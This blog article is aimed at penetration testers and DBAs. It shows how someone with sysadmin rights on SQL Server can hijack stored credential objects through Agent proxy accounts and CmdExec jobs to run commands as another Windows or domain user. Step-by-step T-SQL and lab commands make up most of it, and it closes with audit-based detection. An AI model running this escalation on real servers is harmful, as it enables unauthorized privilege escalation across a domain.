Capture SQL Server credentials using agent jobs to escalate domain privileges

In this article, I'll discuss SQL Server Credential Objects and how they can be used by attackers to execute code as a SQL Server account, a local Windows user, or a domain user. I'll also explain how to enable logging, which can help identify this behavior. This will be of interest to penetration testers, Red Team members, and DBAs looking for legal workarounds for authentication.

Scenario

Let's start by describing a common situation and the problem we are trying to solve with this technique.

  • You are a penetration tester or Red Team member.

  • You gained system administrator rights on SQL Server through one of the typical attack vectors, such as SQL injection, weak password, excessive privileges, or incorrect SQL Server communication configuration.

  • You can execute commands and code on the host operating system in the context of the SQL Server service account using various methods such as xp_cmdshell, custom CLRs, agent jobs, etc.

The problem is that the SQL Server service is configured to run under the NT Service\MSSQLSERVER account, which has limited privileges on the operating system. As testers, we strive to have local administrator rights at a minimum, and if we're lucky, domain administrator rights. We need to find a workaround.

Given the limitations of the NT Service\MSSQLSERVER account, our next step is to try to escalate privileges on the local system. There are many approaches to escalating privileges at the Windows operating system level, but I'd like to look at how SQL Server credentials can be used in this situation if they are configured on the server.

What is a Credentials Object in SQL Server?

Credentials are objects in SQL Server that store information such as usernames and passwords used to authenticate with external resources such as other SQL Server, file shares or web services and execute processes/tasks on behalf of another user. Credential types include SQL Server accounts, local Windows users, and Active Directory domain users.

Some common SQL Server subsystems that use credentials are:

  • Agent Jobs

  • SQL Server Integration Services (SSIS)

  • SQL Server Reporting Services (SSRS)

  • Linked Servers

  • Database mail

  • Service Broker

  • Replication

There are many legitimate uses for credentials in SQL Server, however, like all authentication tokens, they can be a target for attackers.

How do I recover usernames and passwords stored in credential objects?

Obtaining cleartext passwords can be extremely useful during privilege escalation. But how do you extract them from SQL Server credential objects? The main difficulty is encryption.

Luckily, Antti Rantasaari developed a PowerShell script in 2014 that decrypts credentials stored in SQL Server objects. This script has been moved to a function Get-DecryptedObject in the DBATools module.

To run Antti's function, import its PowerShell function and run the command:

Get-MSSQLCredentialPasswords

However, before you get started, there are some requirements to consider:

In our scenario, we do not satisfy all the necessary conditions to recover cleartext passwords from credential objects. Antti Rantasaari's technique is very effective, but requires local administrator rights on the Windows system hosting SQL Server. Without these privileges it is not applicable. What should we do if we do not have local administrator rights?

How to use SQL Server credential objects without local administrator rights?

As mentioned, SQL Server credential objects are designed to access external resources and perform tasks on behalf of another user. This means we don't have to recover cleartext usernames and passwords to run code in the context of another user – we can use the functionality as it was intended.

The following is a process that can be used to “hijack” an existing credentials object configured on SQL Server, allowing code to be executed in the context of the supplied user using SQL Server Agent jobs. No password or local administrator rights are required.

Setting up a lab environment

To demonstrate how you can intercept credentials, let's set up a lab environment:

1. Install SQL Server.

2. Create a local Windows user named testuser and make him a local administrator:

net user testuser P@ssw0rd! /add
net localgroup administrators /add testuser

3. Log into SQL Server and create a credentials object:

CREATE CREDENTIAL [MyCredential]
WITH IDENTITY = 'yourcomputernamehere\testuser',
SECRET = 'P@ssw0rd!';

Step-by-step guide to executing code using credentials

1. Log into SQL Server and check if you have system administrator rights:

SELECT IS_SRVROLEMEMBER('sysadmin') AS IsSysAdmin;

2. List of credentials. The following query will provide you with a list of credentials configured on the SQL Server. If they exist, you're already halfway there:

SELECT * FROM sys.credentials;

3. List of proxy accounts. Proxy accounts are associated with credential objects and are used by agent jobs. Using an existing proxy account may reduce the likelihood of detection:

USE msdb;
GO

SELECT
    proxy_id,
    name AS proxy_name,
    credential_id,
    enabled
FROM
    dbo.sysproxies;
GO

4. Create a proxy server account. If a proxy account does not already exist, we can create one and assign it the necessary privileges. For more information about proxy accounts, see https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-sql-server-agent-proxy?view=sql-server-ver16 .

USE msdb;
GO

EXEC sp_add_proxy
  @proxy_name = N'MyCredentialProxy',     -- Name of the proxy
  @credential_name = N'MyCredential';      -- Name of the existing credential

EXEC sp_grant_proxy_to_subsystem
  @proxy_name = N'MyCredentialProxy',
  @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem

5. Check the creation of the proxy account:

USE msdb;
GO

SELECT
    proxy_id,
    name AS proxy_name,
    credential_id,
    enabled
FROM
    dbo.sysproxies;
GO

6. Create a task for the agent to execute the required code or commands on the operating system. PowerShell, VBScript, JScript and CMDEXEC are available by default. The following example creates a file whoami.txt in a folder C:\Windows\Tempto show that the process was executed in the context of a proxy user:

USE msdb; 
GO 

-- Create the job 
EXEC sp_add_job  
  @job_name = N'WhoAmIJob'; -- Name of the job 

-- Add a job step that uses the proxy to execute the whoami command 
EXEC sp_add_jobstep  
  @job_name = N'WhoAmIJob',  
  @step_name = N'ExecuteWhoAmI',  
  @subsystem = N'CmdExec',          
  @command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt',           
  @on_success_action = 1,         -- 1 = Quit with success 
  @on_fail_action = 2,                     -- 2 = Quit with failure 
  @proxy_name = N'MyCredentialProxy';     -- The proxy created earlier 

-- Add a schedule to the job (optional, can be manual or scheduled) 
EXEC sp_add_jobschedule  
  @job_name = N'WhoAmIJob',  
  @name = N'RunOnce',  
  @freq_type = 1,             -- 1 = Once 
  @active_start_date = 20240820,       
  @active_start_time = 120000;            

-- Add the job to the SQL Server Agent 
EXEC sp_add_jobserver  
  @job_name = N'WhoAmIJob',  
  @server_name = N'(LOCAL)';

7. Use the following query to check whether the agent is using a proxy account. The query will also show all other agent jobs:

USE msdb; 
GO 

SELECT  
    jobs.name AS JobName, 
    steps.step_id AS StepID, 
    steps.step_name AS StepName, 
    proxies.name AS ProxyName, 
    ISNULL(credentials.name, 'No Credential') AS CredentialName, 
    ISNULL(credentials.credential_identity, 'No Identity') AS IdentityName 
FROM  
    msdb.dbo.sysjobs AS jobs 
JOIN  
    msdb.dbo.sysjobsteps AS steps ON jobs.job_id = steps.job_id 
JOIN  
    msdb.dbo.sysproxies AS proxies ON steps.proxy_id = proxies.proxy_id 
LEFT JOIN  
    sys.credentials AS credentials ON proxies.credential_id = credentials.credential_id 
WHERE  
    steps.proxy_id IS NOT NULL 
ORDER BY  
    jobs.name, steps.step_id;

8. Execute job agent to start the process on behalf of the proxy account and execute the code/command:

EXEC sp_start_job @job_name = N'WhoAmIJob';

9. Confirm execution by checking the contents of the file whoami.txt in a folder C:\Windows\Temp.

This way, we were able to execute commands on the host operating system using credentials without knowing the username or password. However, if you manage to impersonate a user with local administrator rights, you can also recover the username and password in clear text using the Antti technique.

Discovery and Search Capabilities

The previous section was useful for attackers, but now let's look at defense methods. Here's an overview of some attack detection capabilities.

Data Source: Application logs
Detection strategy: Behavioral
Detection concept: To detect credential abuse through proxy accounts, create server and database audit specifications that can detect proxy account creation by monitoring the execution of the sp_add_proxy and sp_grant_proxy_to_subsystem stored procedures. SQL Server can also be configured to send these events to the Windows Application log, where event ID 33205 can be monitored.

Discovery configuration settings:

1. Creating a server audit:

Use master 

CREATE SERVER AUDIT [ProxyAccountAudit]  
TO APPLICATION_LOG  
WITH (ON_FAILURE = CONTINUE);  
GO

2. Create a database audit specification. This commits server and database level changes to the msdb database:

USE msdb;  
GO  

CREATE DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]  
FOR SERVER AUDIT [ProxyAccountAudit]  
ADD (EXECUTE ON OBJECT::[dbo].[sp_add_proxy] BY [dbo]),  
ADD (EXECUTE ON OBJECT::[dbo].[sp_grant_proxy_to_subsystem] BY [dbo])  
WITH (STATE = ON);  
GO

3. Specification inclusion:

Use master 
GO 
ALTER SERVER AUDIT [ProxyAccountAudit] WITH (STATE = ON); 
GO 
Use msdb  
GO 
ALTER DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]  
WITH (STATE = ON);  
GO

4. Now, if you re-run the steps to create a proxy account and check the Windows Application log for Event ID 33205, you should see entries for sp_add_proxy and sp_grant_proxy_to_subsystem.

Conclusion

If you are interested in exploring other offensive security resources related to SQL Server, you can find them at powerupsql.com. The site provides PowerUpSQL code, SQL Server attack patterns, detection patterns, privilege escalation instructions, blogs and presentations on hacking SQL Server.

Note: I have not yet tested this technique on Azure SQL Database, but preliminary research suggests that credentials are not supported in this environment.

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *